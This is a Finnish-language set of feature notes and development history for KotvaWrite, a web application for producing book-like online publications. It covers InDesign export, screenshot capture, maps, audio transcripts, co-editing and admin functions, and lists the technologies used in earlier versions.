Taitto-ohjelma InDesign on mahdollistanut jo pitkän aikaa kaiken sen toiminnallisuuden kontrolloinnin ExtendScriptillä, joten tovi InDesignin ohjelmistorajapintaan tutustumisen jälkeen kävi selväksi, että sillähän tosiaan voi tehdä sen, mistä jo aiemmin visioi ja mikä ei ollut riittävän näppärää LaTeX-ladontajärjestelmällä. KotvaWrite Stories -projektin varmuuskopio (zip-paketti) sisältää kaiken oleellisen kirjoituksen InDesign-version luomiseen ja käytännössä ei tarvitsekaan kuin käynnistää InDesignissa yksi skripti, joka kysäisee ensin mistä hakemistosta oleelliset tiedostot löytyvät ja sitten se generoi teoksen toisenlaisen olomuodon saatavilla olevan aineiston ja tyylimäärittelyjen perusteella.
Näkymässä "image assorting" tehdyt kuvavalinnat voi ottaa käyttöön eräissä muissa näkymissä, mikä "picture processing"-näkymän osalta tarkoittaa sitä, että esivalitut kuvat listataan pienoiskoosssa allaan muutama toimintopainike. Toimintopainikkeina ovat mm. tekstin tunnistaminen kuvasta, minkä jälkeen on lisäksi mahdollisuus tehdä tunnistetusta tekstistä valinta ja hakea sillä perusteella näytettäväksi kolme ensimmäistä hakutulosta joko Google Searchin tai Brave Searchin ohjelmistorajapintaa käyttäen. Tarkoitus on lisäillä muitakin toimintoja liittyen sekä kuvien analysointiin, haettavuuteen ja muokkaamiseen.
Tämä on vain alustavaa selvittelyä sille, minkälaista mm. koodaamista se vaatii, että saa lähetettyä tekstiä kuvan kanssa mikrobloggauspalveluun, jossa kenties haluaa kertoa jostain julkaisemastaan. Ainakin Mastodonin ja Blueskyn käyttäjältä vaadittaisiin, että hänen täytyy tehdä sellaiseen käyttäjätunnus, tietenkin, minkä lisäksi hänen täytyy luoda sellaisen asetuksissa sovellus, johon koneellisesti (ohjelmistorajapinnan kautta) yhteyttä ottamalla viesti voidaan lähettää julkaistavaksi.
Sovelluksen luominen mikrobloggaus-palvelun asetuksissa ei sinänsä ole vaikea toimenpide, vaan lähinnä tarvitsee antaa sellaiselle jokin nimi, minkä jälkeen saa käyttöönsä apikeyn tai vastaavan, joka laitettaisiin talteen julkaisusovelluksen käyttäjäasetuksiin.
Esiselvittelyn yhteydessä tutustuttiin myös mikrobloggauspalveluiden kehittäjädokumentaatioihin, josko sellaiset on miten lukukelpoista ja jääkö paljonkin avoimia kysymyksiä. Ei sinänsä julkaisusovelluksen käyttäjän kannalta erityisen merkityksellistä, mutta joitakin voi kiinnostaa tarvittava koodin määrä näihin mikrobloggauspalveluihin postittamiseksi. Ohessa pari koodikatkelmaa, joista saanee hiukan tuntumaa.
Kirjoitetussa tekstissä olevien kielioppivirheiden ja muiden sanankäytöllisten lipsahdusten löytämisen avuksi on mahdollista asentaa selaimeen lisäosa, joka käy erillisen toisaanne käyttäjäksi rekisteröitymisen ja lisäosaan sisäänkirjautumisen jälkeen tarkistamaan tekstiä ja merkitsemään siihen, missä kohdin voisi olla jotain korjattavaa. Näitä ei tarvitse sen kummemmin konfiguroida tai säätää. Muutosehdotukset voi hyväksyä suoraan tekstieditorissa.
Jonkinlaisena porttiteoriana voi pitää sitä, että rekisteröityessään käyttäjäksi tuollaiseen palveluun, saattaa samalla tulla huomanneeksi, että ne tarjoavat muunkinlaisia toimintoja kuten tekoälyavusteinen tekstin generointi. Sellainen on tavallaan vastoin sitä, mitä tämän julkaisusovelluksen on ainakin alunperin ollut tarkoitus olla eli ensisijaisesti luodaan jotain itse, missä sitten esim. apuna ja/tai tarkistimena jotain täydentävää toiminnallisuutta tai ulkoista palvelua, jos sellaisia haluaa käyttää. Ei siitä varmaankaan pahasti sanomista tule, rajankäynninkin ollessa varsin haastavaa, sillä kirjoitetun esim. tekoälyinen uudelleenkirjoituttaminen on varsin lähellä kielenkääntämistä, jolle on jo laitettu erillinen ominaisuutensa käytettäväksi.
Keskenään hyvin yhteen toimivilla kirjoituksien otsikoilla ja mainimage-kuvilla saa writing settejä käyttäessä luonnehdittua kirjoituksen sisältöä lukemaan vetoavasti. Mainimageilla voi myös esim. sävyttää vaikutelmaa, olla sarkastinen tai luoda johonkin samaan liittyvyyden tunnetta.
Motivaatio, ajankohta tjm. syy voivat vaikuttaa siihen, ettei jotain kirjoittamista käy aloittamaan juuri sillä hetkellä, kun netistä jotain selaillessaan tulee huomioineeksi jotain talteen ottamisen arvoista, jolla voi olla vähintään jostain muistuttava merkitys. Tuolloin screenshot yhdessä nähdyn sivun osoitteen kanssa riittänee myöhemmän käytön alkuun saamiseen.
Screenshottien ottamiseen ja kopioimiseen yhdessä verkko-osoitteen kanssa julkaisusovelluksen instanssiin (Quick saves -kuvasäilöön) on tehty Minimum Viable Product -periaatteella Android-sovellus, joka on tarkoitettu käytettäväksi pelkästään Android-tableteilla, joissa on käyttöjärjestelmänä vähintään Android 11. Sovellukseen kirjaudutaan käyttäjätunnuksella ja sessiokoodilla eli sisäänkirjautuminen salasanalla pitää olla jo tapahtunut, jotta sessiokoodi olisi käytettävissä ja saatavilla.
Tämä sovellus toimii vastaanottajana selaimen jako-toiminnolle, mitä kautta se saa tiedon selaimessa avoinna olevasta verkko-sivusta. Tämän tiedon perusteella se voi avata samaisen sivun kyseisessä sovelluksessa, jotta käyttäjä voi sitten otella siitä tarvitsemansa määrän screenshotteja, jotka näkyvät samassa näkymässä olevassa kuvaruudukossa. Screenshotit jäävät talteen laitteen Pictures-hakemistoon. Siirrettävät kuvat pyritään säilyttämään niin korkearesoluutioisessa laadussa kuin mahdollista, jotta niiden myöhempi mahdollinen rajaaminen jäisi mahdolliseksi. Näiden kuvien Exif-tietokenttiä käytetään hyväksi tallentamalla kuviin mukaan tieto verkkosivun osoitteesta ja sivun nimestä. Nämä päätyvät siirron Quick saves -kuvasäilön kuvien Description- ja Source-tiedoiksi.
Samaisella sovelluksella voi tallentaa myös pelkän linkin ja sen takaisen sivun nimen, missä tallennuksen voi kohdistaa sovelluksessa valittavaan adequate setin adequateen [nämä pitäisi varmaankin suomentaa?].
Ilman erillistä sovellusta kuvakaappauksen linkin takaisesta sivusta saa otettua mm. lisäämällä linkki ensin adequateen ja valitsemalla sitten Take a screenshot -toiminto (ks. ohjeistuksen kirjoitus "Mietintäaineistot eli palvelun termistössä adequates") tai sitten ottamalla kuvakaappaus käyttäen mobiililaitteen tai sen selaimen omia toiminnallisuuksia.
Androidilla saa otettua webbisivuista vaikka koko sivun korkuisen kuvakaappauksen, kun ensin kirjoittaa osoiteriville "chrome://flags" ja valitsee lukuisista asetuksista "screenshots for android v2", minkä laittaa "enabled". Tällöin selaimessa saa käyttöön jako-toiminnosta löytyvän "pitkän kuvakaappauksen", mikä tallentaa otetan kuvakaappauksen kyseiseen laitteeseen (hakemistoon "DCIM/Screenshots", kuvatiedoston nimi muodostuu vakioidun muodon mukaan).
iPadilla saa otettua webbisivuista koko sivun korkuisen kuvakaappauksen tai rajatumman kokoisen, kun ensin painaa lyhykäisesti Home ja jompaa kumpaa volyymi-painikkeista, minkä jälkeen pääsee valitsemaan näytön ja koko sivun kuvakaappauksen väliltä. Tallennus tekee PDF-tiedoston, jos tekee koko sivun kuvakaaappauksen, muuten PNG-tiedoston. Molemmilla valinnoilla pääsee tekemään rajausta ja toimii yhtäläisesti esim. Safaria ja Edgeä käytettäessä. Kuvatiedoston nimeksi tulee automaattisesti webbisivun otsikko.
Windows 11:een tavanomaisesti sisältyvässä Edge-selaimessa on perusominaisuuksina verkkosieppaus-toiminnon, jolla voi ottaa verkkosivuista sekä koko sivun kokoisen kuvakaappauksen tai rajailla miten haluaa. Tiedostonimi sisältää sanan "verkkosieppaus" ja kuvatiedoston muoton on aina jpeg. Vaihtoehtoisesti voi asentaa selaimen laajennusosan kuten FireShotin.
PDF-tiedostojen sivujen ja niihin tehtyjen merkintöjen kuvatiedostoon viemiseksi on kentied saatavilla PDF-lukija -sovelluksia, joiden Share-toiminnon kohteista löytyy suoraan mahdollisuus tallentaa esille ollut sivu kuvatiedostoksi valittuun paikkaan. Toisinaan nämä eivät tarjoa kovinkaan korkearesoluutioisen kuvan tekemistä, joten erillinen, kenties pari euroa maksava, sovellus sellaiseen erityisesti tarkoitettuna voi olla paljon parempi vaihtoehto (valittavissa esim. kuvakoko, sivut, tiedostotyyppi ym.). Kun PDF-tiedostosta on saatu halutunlaiset kuvat, voi saman laitteen selaimessa avoinna olevan julkaisusovelluksen importing-näkymässä sitten tuoda tallennetun kuvan julkaisusovelluksen teoksen tai adequatesetin käyttöön.
Kuten on tarkoituksena välttää aiheuttamasta käyttäjälle muistikuormitusta julkaisusovellusta käyttäessä, ei haluta aiheuttaa muistikuormitusta myöskään liittyvien ulkoisten palveluiden kustannusten tai rajoitusten hallittavuuden osalta. Jotkin ulkoiset palvelut ovat käytettävissä vain sisällöntuotanto-vaiheessa, mutta karttapalvelut eräinä ovat osittain jatkuvasti käytettävissä, jos jotkin julkiset teokset sisältävät interaktiivisia karttoja, eivätkä ne aina ole rajattoman ilmaisia käyttää. Tämä on jossain määrin myös liiketoiminnallinen päätös eli mitä julkaisusovelluksen asiakkaaksi ryhtyvälle voidaan luvata ym.
Karttojen käyttäminen kirjoituksissa on näyttävä keino selventää sijaintiin liittyvää asiaa. Ulkoista ohjelmistorajapintaa käytetään reverse geocoding -tarkoituksessa muuntamaan esim. kaupungin nimellä tehty paikan määritys karttakoordinaateiksi. Karttapalveluina on vaihtoehtoina muutama erilainen.
Karttojen näyttämiseen hyödynnetään kolmannen osapuolen ohjelmistokomponentteja, joiden ensikokeilut ovat tämän verkkopalvelun toteuttamisen mielessä aiheuttaneet monenlaisia ideoita siitä, millä tavoin käyttäjän voisi antaa karttoja hyödyntää. Mahdollisuuksinahan olisivat mm. tyylillisesti erilaisten karttapalasten käyttö, kartan päälle lisättävät elementit ja reittiohjeet. Tässä lähinnä esimerkinomaisesti kokeiltu erilaisten ohjelmistokomponenttien toimivuutta. Oman mietintänsä aiheuttaa sekin, että karttapalveluiden käyttö saattaa olla jostain käyttöasteesta asti maksullista ja yhteydenottojen määrä per jokin ajanjakso voi olla rajoitettua. Voikin olla, että käyttäjän joutuu laittamaan hankkimaan itse käyttäjätunnuksensa karttapalvelun API:a varten (registeröinti näihin palveluihin helppoa, mutta voihan siinä hetki mennä, että löytää sen/ne kohdat, joista saa tarvittavan API-avaimen).
Muista harkinnasta olevista particularseista voidaan mainita esim. podcastit, joita varten on muutaman kymmentä sellaista hosting-palvelua, jotka tarjoavat myös verkkosivuille sijoitettavissa olevan äänisoittimen. Laittaisiko nämä kaikki nämä käytettäväksi vai vain joitakin sellaisia vai ehkä sittenkin pitäytyisi pelkkien äänitiedostojen käytettävyydessä? Voiko tällaisia päätöksiä tehdä moneen kertaan?
Äänitteiden selailtavuus ja kuullun ymmärtäminen on helpompaa, kun voi samaan aikaan seurata tekstimuodossa, mitä äänitteessa parhaillaan sanotaan, mitä sanottiin aiemmin ja mitä on tulossa hetken kuluttua. Tähän liittyen on olemassa WebVTT-standardi (Web Video Text Tracks), joka nimestään huolimatta toimii myös audio-tiedostoilla ja jota voi luonnehtia käytettävän tekstin esittämiseksi synkronisoituna muun median kuten äänen tai videon kanssa.
Äänitteen tekstiksi tekeminen on yhdenlaista siirtokirjoitusta, tarkemmin sanottuna transkriptiota (eng. transcribe). Tähän tarkoitukseen on useita erilaisia nettisovelluksia, mutta joista kaikki eivät tunnista suomenkieltä. Niiden hinnoittelussa on paljon eroavuuksia, jotkin tarjoavat jonkin verran ilmaista transkriptiointiaikaa per esim. kuukausi ja ne tuottavat erittäin todennäköisesti toisistaan eroaa laatua.
Eräs vaihtoehto on Googlen Speech-to-Text API, jota voi käyttää suoraan Google Cloud -konsolista. Käytännössä audiotiedosto syötetietona, muutama laatuun vaikuttava valinta ja lyhyehkö hetki odottelua. Tämän jälkeen download-vaihtoehtona on mm. transkription sisältävän SRT-tiedoston lataaminen, joka on tekstitiedostona lähes samanlainen kuin WebVTT-tiedostot (vtt-päätteisiä), mutta jonkalaiseksi transriptio täytyisi konvertoida. Tähän konvertoimiseen tarvitaan erillinen sovellus, joka voi olla Windows-sovellus tai vaihtoehtoisesti voi käyttää lukuisia netistä löytyviä konversio-palveluita, joita löytyy vaikkapa hakusanoilla "convert srt to vtt".
Julkaisusovellukseen käyttäjän ei tarvitse antaa syötetietoina kuin audiotiedoston verkko-osoite ja VTT-tiedoston verkko-osoite. Niiden perusteella luodaan äänisoitin, jonka alla näkyy interaktiivinen transkriptio, jonka tekstikappaleita klikkaamalla kuuntelukohdan sijainti äänitteessä vaihtuu. Äänitteen kuuntelun edetessä transkriptio-tekstistä osoitetaan se kohta, missä kohdin ollaan menossa.
Erityistä huomioitavaa on, että VTT-tiedoston täytyy sijaita sellaisessa paikassa, joka sallii kyseisenlaisten tiedostojen jakelun joko kaikkialle tai julkaisusovelluksen käyttämälle palvelimelle. Suosituksena on, että sijoittaa sekä äänitiedoston, että VTT-tiedoston jo muutoinkin käytettäväksi vaaditun CDN-palvelun tarjoamaan CDN Storageen, sillä sen asetuksista oleelliset Cross-Origin Resource Sharing (CORS) -säädöt löytyvät helposti.
Transkriptio-ominaisuuden esille saaminen vaatii kytkemään kokeelliset toiminnot päälle käyttäjäasetuksista, mutta luodut audio-tyyppiset particularsit säilyvät eheinä varmuuskopioita myöten senkin jälkeen, kun kokeelliset toiminnot on kytketty pois päältä. Tässä tapauksessa kokeellisten toimintojen päälle/pois laittaminen vain näyttää/piilottaa joitain käyttöliittymäelementtejä.
Editointioikeuksia on voinut antaa projektikohtaisesti julkaisusovelluksen instanssin käyttäjille jo pitkään, mutta kanssaeditoivien käyttäjien valinnan tekeminen vaatii laittamaan kokeelliset toiminnot hetkeksi käyttöön. Editoivan käyttäjän oikeudet ovat tarkasti esirajattuja ja mahdollistavat lähes kaiken projektin editoimisen poislukien sen poistamisen. Adequate settejä ei sitenkään pysty yhteiseditoimaan.
Sisäänkirjautumisen jälkeen saatavaa sessiokoodia jakamallakin voi jakaa käyttöoikeuksia, mutta tuolloin tulee antaneeksi oikeuden kaikkeen siihen, mitä kyseisellä käyttäjätunnuksella voi tehdä. Julkaisusovelluksen sisäisissä toiminnoissa on valmisteltuna mahdollisuus viestiä koneellisesti reaaliajassa kahdella eri päätelaitteella julkaisusovellusta käyttävien kesken, mutta sitä ei ole hyödynnetty yhteiskehittämisen tarkoituksessa.
Authors-merkinnät on myös vain aikeilua, jota ei saa käyttöön edes kokeelliset toiminnot päälle laittamalla. Ideana on ollut, että käyttäjä voi lisätä sekä omiinsa, että editointioikeudellisten projektien kirjoituksiin authoreita, joita hyödynnetään niissä yhteyksissä, joissa tekijöiden ym. tiedot tulevat näytettäväksi. Esim. kirjoituksien hienosäätö -näkymässä voi lisätä contributors-placeholderin tekstiin, jonka perusteella kirjoituksen lopulliseen versioon sijoittuu mukaan author-tietoa. Toiminto tähän löytyy Tools-valikosta ("Functional embed: contributors"). Tämän placeholderin voi ALT-klikkauksella muuntaa tavalliseksi tekstiksi.
Näitä "authoreita" voi luoda käyttäjäasetuksien Authors-välilehdellä, sekä niitä voi tarvittaessa siirtää käyttäjältä toiselle. Niillä voi viestiä lukijoille siitä, minkälaisessa roolissa minkäkinlainen author on osallistunut kirjoituksen tai sen muiden osien tekemiseen. Myöhemmin myös kuvien käyttö mahdollista, mutta tässä vaiheessa nämä authorit vain tekstinä. Editointioikeudelliset käyttäjät eivät voi poistaa kirjoituksista kuin omia authoreitaan.
Nämä authorit ovat sillä tapaa löyhässä yhteydessä (eng. loose decoupling) kirjoituksiin, että relaatio niihin katkeaa, jos projekti ensin eksportoidaan ja sitten poistetaan muiden projektien joukosta. Varmuuskopion mukaan päätyy mukaan vain authorin nimen verran vihjettä, mutta toisaalta Usabilities-näkymässä tulee olemaan semiautomaattinen authoreita uudelleen kytkevä toiminto.
Tekstieditorikomponenttiin on tullut suhtauduttua pitkään jonkinlaisena riskinä, sillä sen kehittäjätaholta ei vaikuttanut olevan tulossa uudempaa versiota, vaikka sellaista olikin lupailtu jo useampi vuosi sitten. Versio 1.3.7 oli julkaistu syyskuussa 2019 ja seuraavan version ensimmäinen betaversio tuli julki vasta joulukuussa 2023. Siitä sitten vielä puolisen vuotta eteenpäin, sisältäen lisää muutoksia ja bugikorjauksia, ennen kuin siihen tohti suhtautua stabiilina päivityksenä, jota voisi kokeillakin. Eräs pitkäaikaisista ongelmista oli Undo-/Redo-toiminnon aiheuttama tekstieditorissa olevan sisällön meneminen sekaisin ja kursorin omituisesti väärin paikkoihin hypähtely. Tämä vaikuttaa olevan korjattu. Onneksi muita vastaavia ohjelmistokomponentteja ei ole monia, joten ei tullut vaihtaneeksi johonkin toiseen.
Kyseistä tekstieditorikomponenttia on hyödynnetty mm. sen laajennettavuuden osalta, sillä sille on kätevä valmistella uusia elementtejä kirjoituksissa käytettäväksi (mm. placeholderit) ja hyvin toimivat Undo/Redo ovat erittäin tärkeitä kirjoituksessa ollessa paljon erilaisia tyylittelyjä.
KotvaWrite Stories ja KotvaWrite Explanations (2017)
Olennaisin tavoite KotvaWritessa on ollut se, että lukuisia kirjallisten teosten asettelukokeiluja ja säätöjä pystyisi tekemään useita siinä määrin lyhyessä ajassa, että odottavan aika ei tuntuisi pitkältä ja että mielekkäisiin vaihtoehtoisiin päädyttäisiin vaivattoman tuntuisesti. Käytetty ladontajärjestelmä (XeTeX) ei kuitenkaan pysy mukana niin nopeassa tahdissa, mikä ohjasi merkittävästi tuotekehitystä sillä tapaa, että päädyttiin jakautumaan kahteen eri tuotelinjaan, joista toinen (KotvaWrite Stories) tuottaa HTML-pohjaisia teoksia monipuolisemmin tyylikeinoin ja toinen (KotvaWrite Explanations) tuottaa sekä PDF-, että HTML-pohjaisia teoksia, mutta aiempaa hieman rajatummin asettelu- ja säätökeinoin.
JDK 1.8, JPA, REST, EclipseLink, Eclipse, Visual Paradigm for UML, Foundation, Backgrid, Backbone, Underscore.js, SASS, jQuery, HTML5, CSS 2.1/3, MySQL, MariaDB, MongoDB, JavaScript, NoSQL, JNDI, Tomcat 8, Digital Ocean, Putty, Linux command line tools, TeX, LaTeX, XeLaTeX, Loadster, NeoLoad, New Relic, Datadog, Nginx, HAProxy, Parse API, UML, Git, JUnit, Photoshop, MySQL Workbench
Prosessi yhden kirjoituksen esikatselusivujen generoimiseksi
Java-pohjainen sovellus generoi .tex-tiedoston, josta se tuottaa xelatex.exeä tai pdflatex.exeä käyttäen .pdf-tiedoston, jonka sisältöön ja rakenteeseen vaikuttavat web-käyttöliittymässä tehdyt säädöt, annettu teksti ja melko harkitsemattomiin kohtiin sijoitetut kuvat. XeTex-ladontajärjestelmä laskee mahtuvuudet, sekä latoo tekstit ja kuvat. Toisinaan sen täytyy antaa tehdä laskelmiaan kahden kierroksen verran. Apache PDFBoxia käytetään luomaan yksittäisistä sivuista esikatselukuvat web-käyttöliittymässä tarkastelua varten.
KotvaWrite 2
Edelleen kyse verkkosovelluksesta, joka jämäköittää kirjamaisien, verkossa luettavien teoksien tuotantoprosessia. Palvelu koostuu neljästä osiosta, joissa voi ajatella tehtävän seuraavia asioita:
- Teksteissä käytettävän aineiston sisääntuontia eri lähteistä.
- Aineiston ja kirjoituksien järjestelyä.
- Tekstin luominen ja editointi, kokonaisen kirjamaisesti jäsennellyn teoksen generointi asetteluun, tyylittelyyn ja esillepanoon vaikuttavien parametrien perusteella.
Edelliseen versioon nähden merkittävin uudistus on tapahtunut käyttöliittymätasolla, joka on laitettu kokonaan uusiksi. Sovelluksen suunnittelussa on hyödynnetty mukautuvaa verkkosuunnittelua (eng. responsive design) sen parantaessa olennaisesti käyttökokemusta. Sittemmin mukaan on tullut jonkin verran lisäominaisuuksia (mm. automatisoidusti generoituva PDF-tiedosto ja HTML-version tulostusversiota on hienosäädetty).
Java EE 6, JPA, REST, EclipseLink, Eclipse, Oxygen XML, Visual Paradigm for UML, Foundation, Backgrid, Backbone, SASS, jQuery, HTML5, CSS 2.1, MySQL, OrientDB, XML, iText, JavaScript, NoSQL, JNDI, Tomcat 7, AppFog, UML, Mylyn, Git, JUnit, Photoshop, MySQL Workbench
KotvaWrite v1.0
KotvaWrite on hyödyllinen verkkopalvelu sellaisen tekstipohjaisen aineksen luomiseen ja editoimiseen, joka jolla on kirjamainen rakenne (käytännössä useita kirjoituksia sijoitettuna kokoelmiin, jotka voidaan yhdistää isommaksi kokonaisuudeksi) ja jonka voi exportata PDF-tiedostoksi tai antaa sen olla muiden luettavissa HTML-muotoisena. Tekstin joukkoon on mahdollista sijoittaa kuvia, kuvituksia, piirroksia ja tiettyjä muunlaisia "liitteitä", joita on usein nähtävissä blogiviesteissä.
Java EE 6, JPA, REST, EclipseLink, Eclipse, Oxygen XML, Visual Paradigm for UML, Dojo, jQuery, HTML5, CSS 2.1, MySQL, OrientDB, XML, JavaScript, NoSQL, JNDI, Tomcat 7, AppFog, UML, Mylyn, Git, JUnit, Photoshop, MySQL Workbench
Ancoaarmade (KotvaWriten edeltäjä)
Tarkoituksena ollut kehittää verkkopalvelu, joka palvelisi sen käyttäjiä mm. seuraavissa tarpeissa: havaintojen ylöskirjaaminen, itseoppiminen, tiedon järjestely ja julkaiseminen, tiedon tuottaminen, ajatusten jäsentely ja asioiden muistaminen. Lopputuotteena ovat haluttaessa julkiseksi(kin) asetettavat kirjoitukset, jotka voivat koostua erilaisista kerätyistä tai generoiduista aineksista kuten videoleikkeistä, kaavioista, kuvista, piirroksista yms. havainnollistavasta materiaalista. Työn alla olevaa teosta voi tarkastella useista eri "perspektiiveistä". Teoksiin sisällytettäväksi voi tuoda aineistoa ulkoisista tietolähteistä tai omilta päätelaitteilta.
Java EE 6, JAXB, JPA, EclipseLink, Eclipse, Oxygen XML, Visual Paradigm for UML, Dojo, jQuery, HTML5, CSS 2.1, MySQL, OrientDB, XML, JavaScript, NoSQL, JNDI, Tomcat 7, CloudBees, Amazon AWS, Jasmine, DOH Robot, UML, Microsoft Project, JIRA, Mylyn, Git, PureTest, CodePro Analytix, PMD, JUnit, Photoshop, Fireworks, SHA1, PayPal API, Chrome extension, Firefox Add-on, Mockingbird, Adobe AIR, MySQL Workbench, Jenkins, continuous integration, REST, async servlets + filters, refactoring, design patterns, naming conventions
"Spacious"-tekstieditoinnissa yritetään emuloida vierekkäin ja allekkain aseteltuja sivuja käyttämällä monirivisiä, kooltaan muutettavia tekstikenttiä, joissa tekstiä juoksutetaan tekstiä kirjoittaessa automaattisesti niin moniin muihin tekstikenttiin kuin on tarpeen. Tekstikentältä toiselle pääsee myös näppäimistön nuolipainikkein. Jos tekstiin on liitetty kuvia tai muita liitettävissä olevia, ne säilyvät muuttumattona, vaikkei niitä tässä moodissa asetellakaan esille sen osoittamiseksi, että ne ovat kirjoitukseen liitettynä.
Huomioitavaa.. spacious-moodissa rajoituksena on ainakin toistaiseksi, että kirjasimena täytyy käyttää tasalevyistä sellaista, eikä tekstissä voi olla muotoiluja tai kuvia. Tekstiä ei myöskään voi kopioida näppärästi hiirellä siten, että ottaisi kerralla kopioitavaksi useammassa kuin yhdessä tekstikentässä olevaa sisältöä. Ensimmäisen tekstikentän alakulmassa on kokosäädin, jolla voi säätää kaikkien tekstikenttien kokoa esim. sellaisiksi, että tekstikenttinä on kaksi leveää ja korkeaa sellaista vierekkäin, kolme pitkulaista vierekkäin tai pienikokokoisia tekstikenttiä ruudukkomaisesti rivitettynä. Ylimääräiset tekstikentät poistetaan automaattisesti tai jos niitä tarvitaan lisää tekstin mahduttamiseksi, niitä lisätään. Selainikkunan koon säätämisellä saadaan lisää säätömahdollisuutta sille, kuinka monta tekstikenttää voidaan mahduttaa vierekkäin. Yhdelle riville mahtumattomat aloittavat uuden rivillisen tekstikenttiä.
Spacious-moodissa on mahdollisuus siirrättää tekstikappaleita eteen- tai taaksepäin sijoittamalla kursori jonkin tekstikappaleen kohdalle ja painamalla Ctrl-näppäimen kanssa nuolinäppäimillä ylös- tai alaspäin. Siirtyvä tekstikappale vaihtaa tällöin paikkaa viereisen kanssa. Tämä toiminto vahvistaa tuntumaa siitä, että teksti on yhtenäistä, sillä tekstikappale siirtyy tekstikenttien välillä siinä missä tekstikentän puitteissakin.
Käytettävissä on myös näkymä kirjoitusten löydettävyys -ryhmillä kohdistuvuuden "visualisointiin", mikä tarkoittaa mm. käyttäjän kaikkien kirjoituksien listaamista visuaalisten symboleiden avulla, missä symbolit tarkoittavat joko sitä, että luonnehdintatekstiä ei ole tai kirjoituksilla on yksi tai useampi luonnehdintateksti. Haasteena käytettävyyden kannalta on, että käyttäjän mieli kuormittuu sen miettimisestä, mikä symboli tarkoittikaan mitä luonnehdintatekstiä ja missä pitää luonnehdintatekstit sillä aikaa, kun käyttäjä selailee tällä tavoin listailtuja kirjoituksia, vaikka ovatkin projekteittain ja kirjoitusten kokoelmittain lajiteltuja ja toisistaan eroteltuja. Onkin mahdollista, että näitä symboleita katselemalla voi tuntua, että ne tuntuvat merkityksiltään "tyhjiltä". Kuitenkin, yhden kirjoitusten löydettävyys -ryhmän luonnehdintatekstit saa otettua käyttöön kerralla, kun Ctrl-klikkaa sitä.
Kirjoituksien kokoelmat kirjoituksineen ja erikoissivut eivät ole ainoita asioita, joita teoksen etusivulla voi kohdata. Sideshow:ksi nimitetty ominaisuus mahdollistaa sijoittamaan etusivun laidan paikkeille eräänlaisen tietopaneelin, johon voi tuoda tietokyselyjen tuloksia eri tietokannoista, kirjoituksien listoja eri perustein, ajankohtaisuuksia toisaalla, mainoksia, interaktiivisia toimintoja ym.
Kirjoituksien sisältöön automaattisesti vaikuttamaan on käytössä erilaisia functional embed -tyyppisiä, jotka näkyvät kirjoitusta editoitaessa tekstin ohessa siinä, missä muutkin placeholderit. Näiden avulla kirjoituksiin voi lisäillä ilman suurempaa vaivaa sisällysluettelon kirjoituksen alaotsikoista, listan samantapaisista kirjoituksista, listan kirjoitukseen tekoon osallistuneista, live news -osion alamerkintöineen ym.
Kun esim. julkaisusarjaan kertyy useita osia ja muitakin teoksia on paljon, voi olla selkeämpää antaa pinoutuneen esitystavan indikoida, että kyseessä on jotain, missä on useita teoksia nähtäville. Käytännössä tämä tehdään siten, että teoksien asetuksissa lisätään ryhmänimen perään (ilman välilyöntiä) merkki "#" ja sen perään jokin numero. Tämän jälkeen lisätään käyttäjäasetuksien Profile-välilehdellä "Stackable groups"-tietokenttään teosnippua määrittävä tieto syntaksin "ryhmänimi#nippunumero#nippunimi#nippuselite" mukaisesti. Kaksi viimeistä ovat optionaalisia, mutta ryhmänimi ja nippunumero täytyy olla. Jos teosnippuja on useampia, ne erotellaan puolipisteellä. Muuta ei sitten tarvitakaan.
Teosnippua klikatessa esille tulevat ilman verkko-osoitteen vaihtumista kyseisen teosnipun teokset samantapaisesti aseteltuna kuin muutoinkin.
Jos myöhemmin päättää, ettei haluakaan käyttää teosnippuja, ei ole välttämätöntä käydä muokkaamassa jokaisen teosnipun teoksen asetuksista ryhmänimeä, vaan riittää, kun poista teosnipun määrityksen käyttäjäasetuksista. Ryhmänimiin jäävät esim. "#1"-lisäykset jäävät tuolloin vain käyttämättömäksi.
Kokeelliseksi tämän tekee mm. se, että monetkaan selaimet eivät käytä antialiasointi-efektia kuville, joita on kierretty, mikä varsinkin tekstiä sisältävissä kuvissa näyttää kovin karkealta [korjaus väitteeseen: CSS-tyylittelyllä "transform-style: preserve-3d;" siitä selviää].
Tätä erillisellä käyttäjätunnuksella käytettävää näkymää ei ole tarkoitus käyttää kovinkaan usein. Tavanomaisesti, aivan julkaisusovelluksen käyttämisen aloittamisen ensivaiheilla siellä täytyy käydä määrittämässä CDN-osoite. Ilman sen tekemistä kaikkien julkisten sivujen alareunassa näkyy tiedote, että sen määritys puuttuu.
Uudet käyttäjät luodaan myös täällä, kuten myös heihin kohdistuvien rajoitteiden muokkaaminen. Informaationa managing-näkymässä on mm. tieto siitä, kuinka paljon outbound-siirtokaistaa on käytetty meneillään olevana laskutusjaksona.
Jos toiselle käyttäjälle siirrettävään projektiin on liitettynä adequatesettejä, nämä liittyneisyydet poistetaan. Adequatesetteja voi kuitenkin siirtää käyttäjältä toiselle erikseen.
Käyttäjältä toiselle siirtelyyn pätevät säännönmukaisuudet:
- projektin voi siirtää käyttäjältä toiselle, jos projektin katalogit ovat vain kyseisen projektin käytössä, muutoin siirtoyritys keskeytetään alkuunsa
- kuvakatalogin voi siirtää käyttäjältä toiselle, jos katalogi ei ole minkään projektin käytössä
- solutionin voi siirtää projektista toiseen, jos kyse on saman käyttäjän sellaisista
- adequate setin voi siirtää käyttäjältä toiselle siten, että adequateset irroitetaan kaikista projekteista
Näihin siirtoihin tarvitaan tyypillisesti olennainen id-koodi kuten projektin sellainen ja käyttäjätunnus, jolle jotain siirretään. Tekstikentät näitä varten toimivat sillä tapaa avustavasti, että id-koodin tai käyttäjätunnuksen kirjoittamisen ja tekstikenttien ulkopuolella klikkaamisen jälkeen haetaan näytettäväksi lisätietoa siitä, mihin siirto kohdistuu.
Joskus harvoin saattaa käydä valitsemassa tavallisista käyttäjätunnuksista se, josta tehdään "main user" eli se, jonka julkiset teokset listataan, kun mennään verkkotunnuksen index-sivulle. Muulloin näytettäisiin käyttäjälistaus, josta pääsisi käyttäjäkohtaisiin teoslistoihin.
Jos tarve vaatii (erittäin epätodennäköistä), sieltä voi myös tyhjentää käytössä olevien palvelimien keskusmuistiin muodostavien pitkäkestoisten, mutta ajallaan häipyväisten välimuistien sisällöt. Sellaisiin muodostuu mm. osittainen kopio tietokannan sisällöstä relaatioiden kera, koska siitä on paljon nopeampaa hakea tietoa kuin tietokannasta, koska tietokanta sijaitsee hitaammalla SSD-levyllä.
